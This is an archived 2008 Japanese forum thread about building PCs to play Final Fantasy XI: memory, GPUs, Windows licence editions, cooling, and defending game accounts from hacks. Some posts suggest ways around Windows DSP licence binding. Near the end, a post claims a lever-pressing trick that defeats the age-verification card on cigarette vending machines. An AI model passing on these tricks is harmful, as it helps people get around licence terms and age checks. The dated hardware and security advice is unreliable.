前規格がDDRで、現主要規格がDDR2で、移行に爪先がかかってるのがDDR3

　な　ぜ　買　わ　な　い

てか自作キットとやらについてないのか？

その自作キットとやらを晒してほしいなｗ

>>834
いやいやいやいや、OEM版かっとけよｗ
XPの発売期間切れてるから、後でどうなっても知らんぞｗ

>>835
DDRとDDR2はそもそもpinの数が違うから、
お互いMBには刺さらないからそういう意味では大丈夫
間違えて買わなきゃねｗ

それにしても・・・DDR２とDDR比べると、同じ容量で値段半額か・・・うらやましい

安物のヘッドフォン買って数ヶ月使わずにおいたら頭に当たる部分のスポンジがパラパラ崩れててびびった
気づかずナナシノゲエムやった後に髪いじったら手が黒い粉みたいなもので真っ黒に・・・

>>834
わかってない気がする
製品版：
どんなPCでも使える。ただし高い。

OEM(メーカー付属)版：
そのPCでしか使えない。ケースに張ってあるWindowsのシールにメーカー名(Sony、Hitachiなど)が書いてある。

DSP版：
どんなPCでも使えるがPCに付けるパーツと一緒に買うことで安く買える。パソコンショップ(ドスパラなど)はこれ。

ちょっと質問
CPUはE8400として
VGAをGe9600にするかHD4850にするかで迷ってるんだ
やることはFFとMHFぐらいなんだけどどうしたもんかな

自作キットはアプライドの4〜6万位のどれかです
じゃあおえむ版買います;;

で？質問の内容は？

>>842
性能的には安いGF9600で十分。コストパフォーマンスならHD4850かも試練

>>843
このHPのどれよ？
ttps://www.applied-net.co.jp/iex/html/shop/shop0107/html/user/05_dosv_jys.html

>>842
GF9600を買うなら今でも良いけどHD4850はもうちょっと待った方が良い
HD4850は熱いらしいからもう少し冷えるのが出ると思う
性能的には圧倒的にHD4850

まぁいいや。いってらさいヽ(´ー｀)ノ

>>846
この198,000円のヤツとかどう見積ったらその値段になるんだ？ｗ

>>849
ちょい値段が古いね
GF8800と電源かなぁ

>>846
こっちのから4〜6万で適当に選びます;;
ttps://www.applied-net.co.jp/iex/html/shop/shop0107/html/user/btobox-jisakubox.html

>>844
分かりづらくてすまん
オーバースペックかどうか聞きたかったんだ

>>845
なるほど
GF9600で十分なら無理しなくても良さそうだなぁ

>>847
熱いのか〜
とりあえずGF9600にしてオリファンモデルのHD4850出たらまた考えてみようかな

>>851
GPUオンボードばかりだからFF11するなら後でグラボ付け足すことになるかもね。
他は特に問題なさげね。

VGAがどこまでいってもオンボしか見えない件
945GCっていちおう起動するのか？　HWT&Lあったっけ？？

よく分かりませんがありがとうございます！
買ってきます(ｷﾘｯ

>>851
それ、グラボ挿さないとキレイな画像で出来ないんじゃないかなぁ
参考にGF8600GTを挿して4000弱

FFベンチ質問・雑談スレ 16
http://pc11.2ch.net/test/read.cgi/jisaku/1204093441/449
449 名前：Socket774[sage] 投稿日：2008/05/19(月) 23:05:05 ID:bOYqR9YK
【 　 .CPU.　 】　E1400 (2.5Ghz)
【 　 Mem 　 】　DDR2 1G x 2
【　　M/B　　】　Asus P5GC-MX1333
【　　VGA 　 】 8600GT
【VGAﾄﾞﾗｲﾊﾞ】 169.25
【　DirectX....】 10.0
【　Sound 　 】 オンボ
【 　 OS 　 　】 Vista SP1 Home Premium 32bit
【 　 Ver . 　 】 3
▼スコア
【　.Low　　】 -
【　 High　 .】 3961

8800の下が8600系しかない件
FF以外のゲームをそれなりにやるなら8600避けてオンボのセット買ってGPUだけ9600GTかGSOにでもしたほうがよさそうだが

>>823
安物マウスはひっくり返しても反応する。
コンデンサが足りなくてチップにノイズのりまくりなんだろうな…。

昔エレコムの青LEDマウス買ったら一回クリックすると3-4回ぐらいクリックになって
使い物にならなかったが、今ではFPSで使うと鬼のように連射できて重宝してる。

>○pioneer SE-DRS3000C
>http://pioneer.jp/accessory/cord_head/index.html

上で出てたコレを買ってきてみた。で、週末に長時間使ってみたんで感想を。

　まず、耳を覆うタイプのヘッドホンにありがちな、長時間使った後に外した時のあの違和感がない。
いやまあ正確にはちょっとはあるんだが、かなり軽減されてるので長時間使ってても快適だった。
　トイレとかで席外すときも、一旦外しておこうとかあまり考えないでいられる。電波式なのでトイレ
とか台所に行っても普通に音が聞けるのがちょっと不思議な感じ。

　快適だからと６時間くらいかぶったままでいたら、いきなりバッテリ切れて音が切れてびびった。
こっちが問題になるのはちょっと想定外ｗまあ替えのヘッドホン用意しとけばいいんだろうな・・・

普通に被ってる分には気にならないとはいえバッテリにそれなりの重さがあるんで、寝っ転がって
プレイしたりしてると外れやすい。まあこれは他のでも多少なりと問題になるし、大した問題じゃない。

もちろん音質は全く問題なし。X-Fi Xtreme Gamer に光ミニ−光角型ケーブルで接続してる。

>>860
トイレにつけてくのは汚いからやめれｗ

>>841
DSPってドスパラの略なんだ

とふと思ってしまった自分が悲しい

>>841
これまたちょっと違うんだよな

製品版：
どんなPCでも使える。ただし高い。

OEM(メーカー付属)版：
＞そのPCでしか使えない。ケースに張ってあるWindowsのシールにメーカー名(Sony、Hitachiなど)が書いてある。
2004年くらいまではOEMもDSPも表示は「OEM」で統一していた。だからXPSP2のDSP版でも表示は「OEM」。

DSP版：
＞どんなPCでも使えるがPCに付けるパーツと一緒に買うことで安く買える。パソコンショップ(ドスパラなど)はこれ。
一緒にパーツを買うことによって安くOSを購入することができる。が正しい。
だからそのパーツを廃棄などしてしまうと、OSも使えなくなる（実際には使い続けることができるが、ライセンス違反になる）




OEMの項目はちょっと自信ない。

>>863
ちょい違う
DSP版(OEM版)はOSと同時購入時の機器に対してのライセンス関連付けになるため、
その機器が必ずインストール先の端末に組み込まれている事が前提

従って、比較的壊れ易いorうｐグレード時や組みなおし時に新構成から排除される確率の
最も高いメモリ、マザボ、CPU、HDD、光学ドライブ等との関連付けはお勧め出来ない

>>864
パーツの関連付けは１２０日くらいでクリアされるらしいから
最初マザーボードと同時購入していても「フロッピーと一緒に買った」とか言えば問題なく認証できるんだけどな・・・
ライセンス違反になると思うけどね

>>865
されないされない
それ勘違いしてるよ
それは同時購入購入物の情報じゃなくて、PCとしての全体の情報

OEM版はそのPCを販売しているメーカーが販売とサポートをしているから、
ライセンス上はそのPCでしか使用できないだったと思う。

たしかこんな感じ

OEM版：建前はそれぞれのPCメーカー製のWindowsで、PC本体とライセンスが一体
DSO版：MS製のWindowsで購入時のパーツとライセンスが一体

メーカーによってはBIOSにライセンス認証情報書き込んで、
再インストール時の認証を回避してるんじゃなかったかな

元はDSP版もOEM版と呼ばれてたけど、MSがメーカPCに乗ってるのと区別するために
名前変えただけ。

おまえら自己論展開してないでググれよｗ
http://www.microsoft.com/oem/jpn/dsp/license_guide.mspx

つまり正規の手段で使える安価なのはどすぴ版ということか

パーツが壊れてもガムテープで簡体に貼り付けとけばおｋ
なんて抜け道も、有ったり無かったり。

>>750
スレチ遅レスで申し訳ないが
全て鯖処理は今時当たり前の話で、ただそれだけ(>>750の流れだけ)だと不正が行えてしまうから
どこかに不正防止のルーチンが入っていてもおかしくは無く
ルーチンの出来しだいでは、アイテムを失う事はあってもおかしくないっしょ
(実際はアイテムを失っているのではなく、エラーが生じてどこかでスタックしてる感じ)

本来ありえないタイミングで蔵落ちしてて
■eがそういったイレギュラーな事象に対してしっかりデバッキングしてるなら話は別だけど･･･

昔のFFXIは多くの処理を蔵でやらせてて、ネットワーク部分とDB部分は、
Hello Worldを覚えたてのど素人まるだしの仕様だったし
考えられない事象とは思えないわけですよｗ

FDDと一緒に買えよｗ

そうそう、そういう意味ではメモリおすすめ

>>872が>>712なのは確定的に明らか
とっくの昔に終わった話題を掘り返してまで、自分が正しかったと思わせるなんて・・・
まるで基地外ニートのドルジみたいっ♪

FFベンチ３のHIGHで７２００って普通？

>>876
今の普通のスペックのPCからしたら並以下。

FF目的の本体のみ10万程度でHi10000超えるからな

世間一般に言われるパソコンってくくりなら7200はいいスコアだが

DMC4ベンチ1920x1200All Super Highで平均100fps超えるPCでもFFベンチ7200な罠

HD3ｘｘ0とか4ｘｘ0はそうなる

FFベンチｗなんて実プレイには何の参考にもならない値だから気にしなくても大丈夫

FFベンチなんてＥ8400をちょこっとOCしちゃえばオンボのVGAでも6000とかいけちゃうからな・・

ベンチ本編よりもデモのほうが参考になるしなｗ

ケース内温度よりも、コアテンプとかえぬちゅーんとかでCPU＆GPUの温度を直接測ったほうがよくね？

今GF9600GTを色々と見てたんだけど
S-FANPIPEが付いてるとうるさくないってことなのかな？

>>884
45nmのコア2シリーズはまったくそれがあてにならん

それだけしっかりした考えもって大学いってるなら安心だな
俺は休校だとテンションあがりまくりだな

ドコの誤爆だろう・・・

PentiumDC E5200?
http://northwood.blog60.fc2.com/blog-entry-2105.html

今年はぼんびー自作erにとって豊作だなぁ〜

>>886

お、俺がE6750だってどうしてバレたんだッ！！！

6750はｳﾙﾌｨーじゃないでしょｗ

ＦＦベンチはめちゃくちゃ軽い条件で測って、ＣＰＵの余剰パワーを数値で表してる感じだからな。
同じ機種で重くなったときの状態とあまり関連がない数字が出てくる。ほぼＣＰＵベンチと言われる所以。

E2200（OCなし）で７０００超えるけどな
FFやるなら１万円以下のCPUで十分じゃんｗｗｗｗｗｗｗ

次PC組直すのはFF11の次のMMOが出てからと決めて
Athlon64X2-3800+をがんばって使いつづけてる。

ベンチスコアだすだけなら、
E1400+9600GSOで両方OCしまくれば
格安で高スコア叩き出せるぞ。

OCは地球環境と基盤に良くないって、マレーシア帰りのじっちゃんが言ってた。

OCしまくっても実用性に欠ける

アッパーミドルをダウンクロックで使うのが最近の俺

5000+を最低まで倍率とクロック下げれるだけ下げてOROCHIでファンレスしてるよ
室温25度、CPU温度しばいて40。ネット用マシンだけど快適です
同じクロック程度の過去のマシンだと最近のFlash満載サイトは重かったのに
足回りが違うとこうも違うのかと最近しみじみ。

ASUS　【ランページ】 Extreme
http://www.tcmagazine.com/comments.php?shownews=20701&catid=2

【コルセア】　TW3X4G2000C9DF
http://www.ark-pc.co.jp/item/TW3X4G2000C9DF+XMS3+4GB%25282GB%252A2%25CB%25E7%25C1%25C8%2529KIT+CL9/code/11750646/

サイズ　【忍者】 弐CPUクーラー
http://www.scythe.co.jp/cooler/ninja2.html

サイズ　ANDY 【侍】 【マスター】
http://www.scythe.co.jp/cooler/andy-cooler.html

>>898
それ5000+使う意味ないだろ・・・

>>893

正解。というかＦＦやるならそのCPUで十分なのも事実ｗ

FF出た頃の推奨スペックなんてPen3-800MHzにGeForce3とかだったもんなぁ・・・。

なぁ…マウスってもしかして昔からあるボール型が一番いいんじゃね？

>>903
たまったゴミをとるのが最高にたまらんよな

x68kのトラックボールにもなるマウスは良かった

>>118のPCを使い手のもんだけど
ASUSTeK EN8600GT/HTDP/256M ☆HDCP対応版

ってのが9000円だからコレ買ってみようと思うんだけどどう思う？
スコア5000ぐらいになればなぁとおもうのだけど。

>>906
そのあたりでイイと思うよ。だいぶ快適になると思う。
もっと安いGeforce7600系のあったらそれでもいいけど。7200とは異次元ｗの性能。

>>906
俺はCPUとVGA色々組み合わせてFFやってきたけど
実プレイで言えば、デュアルコアの2GちょいにGF7600辺りのグラボあれば
レジストリいじってバックの解像度極端に上げるとかしない限り
実プレイの操作感覚は頭打ちになるような気がする(上記の組み合わせで大体ペンチのHiで5000~6000ぐらい)
ここから先はデフォルトの最大値以上の解像度でやるつもりがなければ特に必要ないと思うＹＯ

上でHDDが高速だとエリチェンも早くなるみたいなのあったけど、
32bit版OSの余剰分のメモリをRamdisk化してFFXI入れるってのは出来るよね？
リネIIは使えるらしいが。

>>909
9GBも余剰メモリが！？

4GBで12kのモジュールも最近出てたし、対応マザーもあるから、できなくはないな

起動時にRAMDISKにコピーする手間とか、シャットダウン時に書き戻す手間とか、
いろいろめんどくさいことがいっぱいあるだろうがｗ

>>911
基本的にFFXIマシンなんてつけっぱなしが多くてシャットダウンの頻度は低いだろうし、可能ならばアリだとは思うんだけどなぁ

>>911
Vistaならその面倒な事を自動でやってくれるけどな。
メモリーたくさん積んだ最新マシンならFFXIをかなり快適に動かせるよ。

スクリプト組んでやれば自動になるのはXPでも同じだけど
FFフォルダ全部つっこむ気ならHDD側がボトルネックになるから書き戻し待ちはけっこうあるんじゃね。

vistaならっつーかbat書けばどんなOSでも自動じゃねーかｗ
問題なのはコピーの時間だろうに

batファイル書くなら、XCOPYに/Eつけるの忘れるなよと書こうと思ってコマンド確認したら、
xcopyは推奨されてないとか言われた。なんだよrobocopyって・・・

てことはFF専用ラプター買えばいいんじゃね？

batなんて10年以上前に書いたきりだ。

組み込み系制御のPGなんでbatはよく使ってる
新人がMS-DOS？ bat？て状態なのが笑える、いや泣ける

>>916

ttp://www.atmarkit.co.jp/fwin2k/win2ktips/877robomir/robomir.html

rsyncのWin版にちかいな

>>920
なにげに便利そうだな。業務で使う場面でてきそうなコマンドだ。勉強になったわ〜

【技術】パイオニアが大容量４００ＧＢの１６層光ディスクを開発、Blu-rayと互換性アリ
http://mamono.2ch.net/test/read.cgi/newsplus/1215427192/

相変わらず技術屋はすげぇな

CDとDVDの容量を9倍に出来るってのも最近あったよな

2枚かさねて素早くこする移動に動かすと3枚に見える、という手法の応用だと思われる
子供の頃、センベイでやって悲しい思いをしたことがある。掃除大変だった

rsync < robocopyなんかと一緒にしないでいただきたい

自作スレの「温度」系読んでると、室温32℃なのにCPU35℃とかいうやつらがザラなんだが？
VGAに至ってはシバキ50℃とか……

どうやってんの？　本人に聞け？　そうだよな。

フロント 12cm+8cm
CPU ZALMAN 9700 LED
GPU 9800GTXリファレンス
GPU用排熱ファン 12cm+8cm
バック 12cm

これでQ9450が48〜52℃、9800GTXがアイドル55℃シバキ60℃前後

コマンドブロンぷトでいい

>>926
Intelの45nmプロセスCPUの温度表示は、誤差が大きくて参考にならないよ。
GPU温度はVGAクーラーに依存するからな。

>>926
水冷

やっぱエアフロー的に、前面吸気　→　背面排気が理想なんだよね。

ツクモのエアロストリームって、前面12センチ吸気ファンのくせに、背面も8センチ吸気ファンなんだよ……
で、サイドパネル（CPU真横）にふつうの12センチ穴がある。

これってどうなの？

ttp://www.tsukumo.co.jp/bto/aero_stream_char_2.html#002
これを見る限り前面吸気背面排気の12cmx2のようだが

前面は吸気というよりHDD冷やすのが目的だったりもするから、
パッシブダクトとか他の部分がしっかりしてれば問題ないと思う。

そのケースぐぐってみたら、背面は12cmの排気ファンだけど
俺が見てるのは違うのかな

ﾌﾟの残滓でサイドダクト穴は今でも結構みるし、うまくつかえば有効に働く
サイト見ると今の世代は
http://www.tsukumo.co.jp/bto/aero_stream_char_2.html#002

こんな構造らしいけどマジで背面8cmは吸気なのか？

>>931の頭の中では

フロントファン→前面１２センチ吸気ファン
電源ファン→背面も８センチ吸気ファン
フロントファン→サイドパネルの１２センチ穴

じゃねーかな？

>>932-933
　 ｀¨ −　､　　　　　＿_　　　　　 _,. -‐' ¨´
　　　　　　| ｀Tｰて＿,＿｀　`ー<^ヽ
　　　　　　|　 !　　　　　　｀ヽ　　 ヽ ヽ
　　　　　 r　/　　　　　　ヽ　 ヽ　　_Lj
　､　　　 /´ ＼　　　　 ＼　＼_j／ヽ
　　｀ ー　　　ヽｲ⌒r-､ヽ ヽ__j´　　　｀¨´
　　　　　　　　　 ￣ー┴'^´

ＸＰならメモリいくらあれば十分だい？

メモリの必要量ってのは水と器みたいなもんでな以下略

>>934
ゆるゆるの排気ファンに手をかざすと、吸気と錯覚することあるから>>931の錯覚かも試練

>>935
やべ間違えたｗ

フロントファン→前面１２センチ吸気ファン
電源ファン→背面も８センチ吸気ファン
リアファン→サイドパネルの１２センチ穴

【CPU】　　E6750 2.66Ghz定格仕様　→　笊化CNPS8000
【VGA】　　玄人志向7900ＧＳファンレス　→　笊化900cu
【ファン】　前面吸気8cm & 12cm　　背面吸気　8cm
室温……だいたい23〜25℃？

■Coretempで計測
アイドリング 　Core 0：　43℃ 　Core 1：　47℃

カンパニエ2時間　Core 0：　49℃ 　Core 1：　53℃

■NVIDIA Monitor Viewで計測
アイドリング　GPU　51℃

カンパニエ2時間　GPU　55℃

デビルメイベンチ直後　GPU　64℃

Abeeの静穏ケースM5で自作組んだら結構熱がやばくて、色々ファン付けたら
静穏のせの字も無くなった俺がいますよ
最初から他のケースにすればよかった…

1200まじおすすめ

なんだか色々間違ってる気がするが・・・
なんでフロントに8cmと12cm？

>>939
今ティッシュ剥がして、かざしてみた！　吐いてたｗｗｗｗｗｗ
ちなみに前面が不安だったんで、5インチベイ3段抜いて「鎌平」導入したんだ。

なーんだ。　吐いてたのか。　てへ

>>944
夏場に備えて、この笑えるファンを導入したんだ。

ttp://www.scythe.co.jp/cooler/kamabay.html

なんで、デフォルト前面吸気ファン＋カマベイ。　あと、エアロストリームっつても
去年11月モデルのやつだから、ちょこっとデザインが違うね。

>>946
なるほど、そういうことか

夏は静音捨ててしっかり冷やした方がいい
どうせ蝉とかうるせえしｗ

背面8cmは電源も排気部分として勘定に入れてることが多いから
サイドダクト＋フロント吸気で若干正圧になる感じかのう
カマベイで吸気増やしたことがどう影響するかは正直わからんが

>>946
これ俺も買ったぞ。スマドラにラプたん突っ込んでコレで冷やしてる。
12cmファンで800rpmなので、マジ無音。
そのかわり冷却性が微妙だがｗ

内圧高いのと低いのどっちがやばいの？

超静音狙うなら負圧で気合の排気になるけどケースのスキマから空気を吸うようになる＝ホコリｳﾏｰ
なので基本は若干正圧

自然吸気はなんかなぁ。前面ファンならHDD冷やしたりも出来るし少しうるさくなるぐらいなら付けちゃう

熱い空気はケース上部にたまる。
電源が上についてるファンだと、背面の排気だけじゃ無理だからP182みたいに上部に排気ファンが1個は付いてるのが
一番理想的。
最悪、ケース上部に付ける電源選ぶなら紫蘇の　http://www.owltech.co.jp/products/power/Seasonic/M12/M12.html　
こういうタイプ選んどけばだいぶマシになる。

カマベイは窒息ケースに追加するとかなりいい感じになるアイテム

今年の夏は「　鎌　平　（カマベイ）　」で決まりだな。


ちなみに1880円。　ファンコン機能なし。　ただ3ピンあるんで自作erは改造汁

次スレ見当たらないんで立てておいた。
http://changi.2ch.net/test/read.cgi/ogame/1215536506/
不手際あったらm9（^Д^）しといてくれ。

ところで、幅広い知識を持つ奴が集うこのヌクモリティスレ住民に質問してみたい。場違いなら埋めて流してくれ
最近、FF11のアカハックが多いようだ。そこでこのスレ住民の推せる防御法を聞いてみたい。
俺はPCを2台に分けて、かつFF導入マシン1台をなるべくweb閲覧させないよう（最悪仮想PC上から閲覧）にしているんだが、
もっと効果的かつ、比較的容易な対策している人っているのかな？
被害が減ればいいと思う反面、技術的な意味でも対策法に興味があります。

正直IEまたはそのエンジンを使うブラウザを使わないだけで大抵解決できる問題

avast
windows defenders
glay utilities
firefox+noscript
カスペルキーオンラインウィルススキャン
シマンテックオンラインウィルススキャン

spybotかadowareも入れた方が良いかどうか考え中

何でもかんでも入れればいいってもんじゃないだろ・・・

PeerGuardianは入れねぇの？

さぁintel価格改定だ

まあFirefox3にNoScript入れてもスクリプト全許可とか意味ない事やってたり、
PeerGurdian2入れてもリネ資料室の業者IP＆中華IPリスト入れてなかったりとかしてる
大マヌケはいないだろうなぁ？

>>957
IEとか火狐とかオペラとか通常のブラウザは全部アンインスコして、ゲームに特化させればおk
なるべく、じゃなくてPCからのweb閲覧の可能性そのものをゼロにしろ

web閲覧はｹｰﾀｲで汁。

>>964
IEはいるんじゃないか？
BAが出来なくなる
だから使わなくても消せないでいるんだけど

>>965
自動更新があるだろｊｋ


とはいえ>>964はあまりにチキンすぎて滑稽だがｗ
多分1999年に地球が滅びると信じて何もせず青春を棒に振って、
今度は2012年に地球が滅びるとかってマジで信じてニートになってそうｗ

JS、ActiveXは完全に不許可
フラッシュプレイヤー、Real、QuickTimeなど入れない
アクロバットも入れない

普通はゲームその他負荷かけるPCとネット用と他作業用＆サブノートモバイルで3〜4台はPC使ってるだろjk

使わないってのはできないわ

MAC使えばいいんじゃね？

それぞれに予備が抜けてるぞ

>>937
ＦＦ専用マシンなら１ＧＢでいい。それ以上必要になる場面は皆無。
５１２ＭＢでもそれほど問題はない。
でも安いから２Ｇ〜で良いんじゃない?

フォトショップがりがり使いたいとかなら３Ｇ以上にしとけ。

>>957
完璧を期したいなら、>>964の言うとおり、ブラウザの実行ファイル自体を消去して、ルーターの設定でも遮断するとかだな。
ウェブやメールは他のマシンで。
専用に特化してチューニングできるなら、他にも穴になりそうなところ塞げるしな。
ＦＦマシンで兼用したら、どんなに対策してもリスク０には絶対できない。リスクを減らすのはできるけど。

どうしても１台で、っていうなら、クアッドコアＣＰＵでもつんで、ＷＥＢは仮想環境上の別ＯＳで。
まあそこまでやってる奴は少数だし、コストパフォーマンスとか本人のスキル的な難しさとかいろいろ問題もあるが。

>>957
起動したらすぐにウィンアップデート、カスペルスキーでセキュリティ高、
スパイウェア対策ソフト（フリー）、これで使ってるブラウザは火狐をメインに。
たまにスレイプニルも使うけどその場合はアクティブXは基本不可。
んで週1で完全ウィルススキャンを掛けてる。

これで普通に海外のウィルスとトロイありまくりのサイトやら、国内でFF用の
改ざんが仕込まれてるサイトも踏むけど、とりあえずは被害なし。

ただログインパスは２週間に一度くらいは替えるかな。
後は気が向いたときに、POL起動時に動いてるアプリの監視をしてみたりする。

被害は凄いようだけど根本的にセキュリティに詳しい人なら大丈夫だと思うんだけどね、
FFハックのデータ改ざん程度のＬＶのなら。

つーかルータとFWちゃんと設定しとけばトロイ踏んだって外に漏れないだろ…
こんなこと聞くぐらいだからなんもしてないんだろうけど

カスペルスキーってなんだ？

IPフィルタでFFとWU以外を遮断するとかが良さそうだな。
ファイル共有も禁止して、2台目のマシンからのアクセスを禁止とか。

>>975
アンチウィルス

>>976
有料でﾜﾛﾀ

>>977
無料のは検地率低いのも多いからな。

有料ではカスペかF-Secureがいいわ。

なんかのランキングで2007年ウィルス対応率1位だっけか。カスペルスキー

カスペは比較時に基準となるくらい検知率は優秀。

F-Secureもカスペエンジンを使っているが、ネトゲマニアが入り込んでいるようで、
ネトゲ系のウィルス+スパイウェア検知駆除に力を入れているそうだ。

無料Versionもあって検知率も高いのにAntiVirが出てこないのは
なんでなんだろうな
自動アップデートがあまりにも重いからかーw

AntiVir Tips & FAQs!
http://www.avpusers.org/

僕はあばすとちゃん！
でもシャットダウン遅いから赤ハック云々とまぎらわしくて今はあんまりおすすめできないかもしれん

AntiVir　めちゃ軽いし、今までの垢ハックウィルス対処できなかったこと無いくらいに優秀なのになー
こないだのカスペで検出できなかったやつも検出できたんだぜ？

FW機能無いじゃん

>>787のを買ってみた。木造アパートの2階住民として下の人に申し訳無いことになった。

場所考えてから買えよｗｗｗｗｗ

ただ、カスペ重いからネトゲ用PCにはお勧めできない。

>>985
ウーハーの下にスポンジか座布団ひけば殆ど響かなくなる。
床に直置きは問題外な。

>>988
やっぱり敷かないと駄目か。めっちゃ床に響いてるし…
検討してみるぜさんくすこ

ウーハーは小さくてもアパート越えて隣家まで音が響くから注意した方がいい。
ロジクールの小型ウーハーはそこまでパワー無いと思うが、アパート中には確実に響くので使う時間には注意しろよ。
遅くても12時には使うのやめた方がいい。
廊下出たらいきなりぶん殴られるかもよｗ

>>983
【日本語でお願いします】

ビシージやカンパニエじゃ数十人密集当たり前なんだし
負荷の重いところに比重をおいた新ベンチ欲しいな
要望だしてみるか

膿め

スピーカーの下にそんなのひいたら音悪くなるだろ・・
床の下に防音シートひいて、床2重に汁

ヘッドフォン卒業するなら防音室のある家をIYHだろJK。。。

>>994
気にしないで済むところに引っ越せばいいじゃない。

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　　　　　　 ヽ| l　l│＜ﾊｰｲ
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使い切ろうぜ



とういわけでチラシの裏

タスポがなくても、つり銭返却レバーを3回押した後にお金を入れて
再びレバーを押すと同時に商品ボタンを押すと普通に買える。

>>998

まじで？　今から試してくる！！

１０００

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　　　　／　.人 　　　　　あ、ぽこたんインできないお！
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